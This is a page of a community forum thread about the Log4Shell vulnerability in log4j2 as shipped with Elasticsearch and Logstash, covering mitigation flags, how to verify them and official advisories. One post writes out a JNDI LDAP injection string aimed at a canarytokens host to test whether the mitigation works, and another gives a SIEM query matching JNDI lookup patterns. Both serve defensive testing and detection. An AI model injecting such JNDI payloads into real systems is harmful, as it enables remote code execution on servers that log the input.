# Zero-day-exploit in log4j2 which is part of elasticsearch **URL:** \ **Category:** Elasticsearch\ **Created:** [December 10, 2021, 3:46pm UTC](https://discuss.elastic.co/t/zero-day-exploit-in-log4j2-which-is-part-of-elasticsearch/291439 "2021-12-10T15:46:15Z")\ **Posts on this page:** 20\ **Page:** 1
**Author:** ![spotlight2001](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/spotlight2001/32/54078_2.png) [@spotlight2001](https://discuss.elastic.co/u/spotlight2001)\ **Post date:** [December 10, 2021, 3:46pm UTC](https://discuss.elastic.co/t/zero-day-exploit-in-log4j2-which-is-part-of-elasticsearch/291439/1 "2021-12-10T15:46:15Z")
> Elasticsearch 7.1.1 seems to contain log4j 2.11.1 So is Elasticsearch affected? Will there be a new 7.1.x? ---
**Author:** ![Christian\_Dahlqvist](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/christian_dahlqvist/32/4617_2.png) [@Christian\_Dahlqvist](https://discuss.elastic.co/u/Christian_Dahlqvist)\ **Post date:** [December 10, 2021, 3:51pm UTC](https://discuss.elastic.co/t/zero-day-exploit-in-log4j2-which-is-part-of-elasticsearch/291439/2 "2021-12-10T15:51:20Z")
Elasticsearch 7.1 is no longer maintained so if a patch is required it would be as 7.16.x. ---
**Author:** ![leandrojmp](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/leandrojmp/32/107231_2.png) [@leandrojmp](https://discuss.elastic.co/u/leandrojmp)\ **Post date:** [December 10, 2021, 3:54pm UTC](https://discuss.elastic.co/t/zero-day-exploit-in-log4j2-which-is-part-of-elasticsearch/291439/3 "2021-12-10T15:54:14Z")
I think this affect almost every version, 7.16.0, which was released this week, uses `log4j-core-2.11.1.jar` and `log4j-api-2.11.1.jar`. One way of mitigation is to use the following line in the `jvm.options` file. ```auto -Dlog4j2.formatMsgNoLookups=true ``` ---
**Author:** ![ITzhangqiang](https://avatars.discourse-cdn.com/v4/letter/i/2bfe46/32.png) [@ITzhangqiang](https://discuss.elastic.co/u/ITzhangqiang)\ **Post date:** [December 10, 2021, 4:47pm UTC](https://discuss.elastic.co/t/zero-day-exploit-in-log4j2-which-is-part-of-elasticsearch/291439/4 "2021-12-10T16:47:49Z")
I use Elasticsearch 7.8，but i can‘t reproduce bug.（I made an error and the JNDI instructions were printed in the the Elasticsearch log, but the JNDI instructions were not called）.I don't understand why ---
**Author:** ![hocho](https://avatars.discourse-cdn.com/v4/letter/h/8e7dd6/32.png) [@hocho](https://discuss.elastic.co/u/hocho)\ **Post date:** [December 10, 2021, 5:09pm UTC](https://discuss.elastic.co/t/zero-day-exploit-in-log4j2-which-is-part-of-elasticsearch/291439/5 "2021-12-10T17:09:30Z")
How do I confirm that the `-Dlog4j2.formatMsgNoLookups=true` takes effect? Is it possible to get any confirmation from cluster/settings ? ---
**Author:** ![BenB196](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/benb196/32/83401_2.png) [@BenB196](https://discuss.elastic.co/u/BenB196)\ **Post date:** [December 10, 2021, 5:18pm UTC](https://discuss.elastic.co/t/zero-day-exploit-in-log4j2-which-is-part-of-elasticsearch/291439/6 "2021-12-10T17:18:06Z")
Just an FYI; [Add logging property by ChrisHegarty · Pull Request #81622 · elastic/elasticsearch (github.com)](https://github.com/elastic/elasticsearch/pull/81622) was just merged into master, so the environment variable appears to be the "fix" for this. ---
**Author:** ![jeetthakkar](https://avatars.discourse-cdn.com/v4/letter/j/9dc877/32.png) [@jeetthakkar](https://discuss.elastic.co/u/jeetthakkar)\ **Post date:** [December 10, 2021, 6:08pm UTC](https://discuss.elastic.co/t/zero-day-exploit-in-log4j2-which-is-part-of-elasticsearch/291439/7 "2021-12-10T18:08:07Z")
Hi hocho, What I did was open htop on my linux terminal and then press F5 to see the processes in tree view. Find the Elasticsearch process, and it displays the process as the command that was used to invoke the Elasticsearch process along with all the java parameters. [htop-elasticsearch](https://imgur.com/XYiq84I) if you scroll to the right to see the rest of the command that initiated the process, you can see the parameter listed there. [htop-elasticsearch-param](https://imgur.com/QA0Ffvu) Sorry for the imgur links - my browser wouldn't let me upload the images for some reason. ---
**Author:** ![leandrojmp](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/leandrojmp/32/107231_2.png) [@leandrojmp](https://discuss.elastic.co/u/leandrojmp)\ **Post date:** [December 10, 2021, 6:12pm UTC](https://discuss.elastic.co/t/zero-day-exploit-in-log4j2-which-is-part-of-elasticsearch/291439/8 "2021-12-10T18:12:24Z")
You can run the following in the terminal: ```auto ps -ef | grep elasticsearch | grep formatMsgNoLookups ``` ---
**Author:** ![Nu11](https://avatars.discourse-cdn.com/v4/letter/n/f6c823/32.png) [@Nu11](https://discuss.elastic.co/u/Nu11)\ **Post date:** [December 10, 2021, 6:36pm UTC](https://discuss.elastic.co/t/zero-day-exploit-in-log4j2-which-is-part-of-elasticsearch/291439/9 "2021-12-10T18:36:42Z")
Hi team! quick question, i found that in Logstash folder we have the file jvm.options and if i run "ps | grep log4j" i see the vulnerable log4j package. Should i add the "-Dlog4j2.formatMsgNoLookups=true" in Logstash???. Thanks in advance! Regards! ---
**Author:** ![probson](https://avatars.discourse-cdn.com/v4/letter/p/e47c2d/32.png) [@probson](https://discuss.elastic.co/u/probson)\ **Post date:** [December 10, 2021, 6:41pm UTC](https://discuss.elastic.co/t/zero-day-exploit-in-log4j2-which-is-part-of-elasticsearch/291439/10 "2021-12-10T18:41:47Z")
@Nu11 Ive added it to that and hoping its correct while waiting for 7.16.1 ---
**Author:** ![willemdh](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/willemdh/32/16922_2.png) [@willemdh](https://discuss.elastic.co/u/willemdh)\ **Post date:** [December 10, 2021, 7:01pm UTC](https://discuss.elastic.co/t/zero-day-exploit-in-log4j2-which-is-part-of-elasticsearch/291439/11 "2021-12-10T19:01:30Z")
Working on adding `-Dlog4j2.formatMsgNoLookups=true` .... So are we sure this works? What's the impact of adding this? ---
**Author:** ![shilbert](https://avatars.discourse-cdn.com/v4/letter/s/9dc877/32.png) [@shilbert](https://discuss.elastic.co/u/shilbert)\ **Post date:** [December 10, 2021, 7:44pm UTC](https://discuss.elastic.co/t/zero-day-exploit-in-log4j2-which-is-part-of-elasticsearch/291439/12 "2021-12-10T19:44:31Z")
Is there any way to apply the mitigation to a cluster hosted in Elastic Cloud? I cannot find a way to set JVM options in the user interface. ---
**Author:** ![dadoonet](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/dadoonet/32/137187_2.png) [@dadoonet](https://discuss.elastic.co/u/dadoonet)\ **Post date:** [December 10, 2021, 8:17pm UTC](https://discuss.elastic.co/t/zero-day-exploit-in-log4j2-which-is-part-of-elasticsearch/291439/13 "2021-12-10T20:17:45Z")
Please report security issues to [security@elastic.co](mailto:security@elastic.co) as per [the online instructions](https://www.elastic.co/community/security) ---
**Author:** ![willemdh](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/willemdh/32/16922_2.png) [@willemdh](https://discuss.elastic.co/u/willemdh)\ **Post date:** [December 10, 2021, 8:39pm UTC](https://discuss.elastic.co/t/zero-day-exploit-in-log4j2-which-is-part-of-elasticsearch/291439/14 "2021-12-10T20:39:05Z")
@dadoonet Some official Elastic communication and recommendation about this would be nice. Unauthenticated RCE is not nice.. Still working on adding `-Dlog4j2.formatMsgNoLookups=true` .... So are we sure this works? What's the impact of adding this? ---
**Author:** ![warkolm](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/warkolm/32/39224_2.png) [@warkolm](https://discuss.elastic.co/u/warkolm)\ **Post date:** [December 10, 2021, 10:22pm UTC](https://discuss.elastic.co/t/zero-day-exploit-in-log4j2-which-is-part-of-elasticsearch/291439/15 "2021-12-10T22:22:18Z")
Please see [Apache Log4j2 Remote Code Execution (RCE) Vulnerability - CVE-2021-44228 - ESA-2021-31](https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476). We will be making more announcements as details become clearer. ---
**Author:** ![Chris\_Leavoy](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/chris_leavoy/32/98732_2.png) [@Chris\_Leavoy](https://discuss.elastic.co/u/Chris_Leavoy)\ **Post date:** [December 11, 2021, 2:00am UTC](https://discuss.elastic.co/t/zero-day-exploit-in-log4j2-which-is-part-of-elasticsearch/291439/17 "2021-12-11T02:00:40Z")
I've confirmed `-Dlog4j2.formatMsgNoLookups=true` doesn't work. What the hell? Why still no patch? docker run -it logstash:7.14.2 bash echo '${jndi:ldap://XXX.canarytokens.com/a}' | logstash -e 'filter { json { source =\> "message" } }' bash-4.2$ tail -1 jvm.options -Dlog4j2.formatMsgNoLookups=true Logstash {"logstash.version"=\>"7.14.2", "jruby.version"=\>"jruby 9.2.19.0 (2.5.8) 2021-06-15 55810c552b OpenJDK 64-Bit Server VM 11.0.12+7 on 11.0.12+7 +indy +jit [linux-x86\_64]"} ---
**Author:** ![warkolm](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/warkolm/32/39224_2.png) [@warkolm](https://discuss.elastic.co/u/warkolm)\ **Post date:** [December 11, 2021, 3:52am UTC](https://discuss.elastic.co/t/zero-day-exploit-in-log4j2-which-is-part-of-elasticsearch/291439/18 "2021-12-11T03:52:48Z")
Folks please be aware that this dropped Friday and is it the weekend in most parts of the world. While we are working on a fix and uncovering it's impact on our products, please do respect that we don't work 24/7 🙂 ---
**Author:** ![warkolm](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/warkolm/32/39224_2.png) [@warkolm](https://discuss.elastic.co/u/warkolm)\ **Post date:** [December 11, 2021, 3:58am UTC](https://discuss.elastic.co/t/zero-day-exploit-in-log4j2-which-is-part-of-elasticsearch/291439/19 "2021-12-11T03:58:34Z")
Further update, please see [Apache Log4j2 Remote Code Execution (RCE) Vulnerability - CVE-2021-44228 - ESA-2021-31](https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476) as it's been amended with details for each of the products and the impact that this RCE has. TLDR - Elasticsearch is safe due to the use of the Java security manager. ---
**Author:** ![willemdh](https://sea2.discourse-cdn.com/elastic/user_avatar/discuss.elastic.co/willemdh/32/16922_2.png) [@willemdh](https://discuss.elastic.co/u/willemdh)\ **Post date:** [December 11, 2021, 1:15pm UTC](https://discuss.elastic.co/t/zero-day-exploit-in-log4j2-which-is-part-of-elasticsearch/291439/20 "2021-12-11T13:15:24Z")
@warkolm Not trying to question Elastic's findings, but wondering why I see reports and screenshot of hacked Elasticsearch instance while Elastic says: ![image](https://us1.discourse-cdn.com/elastic/original/3X/2/0/20f9cb9839c452cc169a674b16d6648d8bd6bbe8.png) See: ![image](https://us1.discourse-cdn.com/elastic/original/3X/b/3/b3e3f89315edb83c25c8b623630778d4053926b6.jpeg) About a SIEM rule =\> The following query is defintely useful: `(*jndi\:ldap\:* OR *jndi\:rmi\:* OR *jndi\:ldaps* OR *jndi\:dns*)` The problem is due to the front wildcards, it's a very expensive query ---
**Author:** ![darren\_m](https://avatars.discourse-cdn.com/v4/letter/d/57b2e6/32.png) [@darren\_m](https://discuss.elastic.co/u/darren_m)\ **Post date:** [December 11, 2021, 4:04pm UTC](https://discuss.elastic.co/t/zero-day-exploit-in-log4j2-which-is-part-of-elasticsearch/291439/21 "2021-12-11T16:04:16Z")
@willemdh That's not an Elasticsearch instance, it's the search results on the [https://www.elastic.co/](https://www.elastic.co/) site. The behaviour of the search has changed since yesterday, that search now triggers a 406 response. [Next page](https://discuss.elastic.co/t/zero-day-exploit-in-log4j2-which-is-part-of-elasticsearch/291439.md?page=2)